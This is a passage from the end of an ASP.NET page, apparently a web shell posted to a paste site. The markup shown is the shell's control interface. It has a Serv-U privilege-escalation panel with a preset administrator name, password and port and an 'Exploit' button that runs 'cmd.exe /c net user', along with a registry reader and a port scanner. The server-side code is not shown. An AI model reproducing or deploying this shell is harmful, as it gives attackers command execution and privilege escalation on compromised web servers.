  1524. <asp:DataGrid ID="Bin_DataGrid" runat="server" Width="753px" PageSize="20" CssClass="Bin_DataGrid" OnItemDataBound="Item_DataBound" AllowPaging="True" OnPageIndexChanged="Bin_DBPage" OnItemCommand="Item_Command">
  1525. <PagerStyle Mode="NumericPages" Position="TopAndBottom" />
  1526. </asp:DataGrid></div>
  1527. </asp:Panel>
  1528. <asp:Panel ID="Bin_SuPanel" runat="server" Width="1270px" >
  1529. <hr />
  1530. Name :
  1531. <asp:TextBox ID="Bin_SunameTextBox" runat="server">localadministrator</asp:TextBox>
  1532. Pass :
  1533. <asp:TextBox ID="Bin_SupassTextBox" runat="server">#l@$ak#.lk;0@P</asp:TextBox>
  1534. Port :
  1535. <asp:TextBox ID="Bin_SuportTextBox" runat="server">43958</asp:TextBox><br />
  1536. CMD :
  1537. <asp:TextBox ID="Bin_SucmdTextBox" runat="server" Width="447px">cmd.exe /c net user</asp:TextBox><br />
  1538. <asp:Button ID="Bin_SuexpButton" runat="server" Text="Exploit" OnClick="Bin_SuexpButton_Click" /><br />
  1539. <div style="text-align:center">
  1540. <hr />
  1541. <asp:Label ID="Bin_SuresLabel" runat="server"></asp:Label>
  1542. </div>
  1543. </asp:Panel>
  1544. <asp:Panel ID="Bin_IISPanel" runat="server" Width="1270px"><div style="text-align:center">
  1545. <hr />
  1546. <asp:Label ID="Bin_iisLabel" runat="server" Text="Label" EnableViewState="False"></asp:Label>&nbsp;</div></asp:Panel>
  1547. <asp:Panel ID="Bin_RegPanel" runat="server" Width="1270px"><hr /><div style="text-align:center">
  1548. KEY :&nbsp; &nbsp;<asp:TextBox ID="Bin_KeyTextBox" runat="server" Width="595px">HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName</asp:TextBox><br />
  1549. VALUE :
  1550. <asp:TextBox ID="Bin_ValueTextBox" runat="server" Width="312px">ComputerName</asp:TextBox>&nbsp;<asp:Button
  1551. ID="Bin_RegreadButton" runat="server" Text="Read" OnClick="Bin_RegreadButton_Click" /><br />
  1552. <asp:Label ID="Bin_RegresLabel" runat="server"></asp:Label><hr /></div></asp:Panel>
  1553. <asp:Panel ID="Bin_PortPanel" runat="server" Width="1270px">
  1554. <hr /><div style="text-align:center">
  1555. IP :
  1556. <asp:TextBox ID="Bin_ScanipTextBox" runat="server" Width="194px">127.0.0.1</asp:TextBox>
  1557. PORT :
  1558. <asp:TextBox ID="Bin_PortsTextBox" runat="server" Width="356px">21,80,1433,3306,3389,4899,5631,43958,65500</asp:TextBox>
  1559. <asp:Button ID="Bin_ScancmdButton" runat="server" Text="Scan" OnClick="Bin_ScancmdButton_Click" /><br />
  1560. <asp:Label ID="Bin_ScanresLabel" runat="server"></asp:Label></div><hr /></asp:Panel>
  1561.  
  1562. </div></form>
  1563. </body>
  1564. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement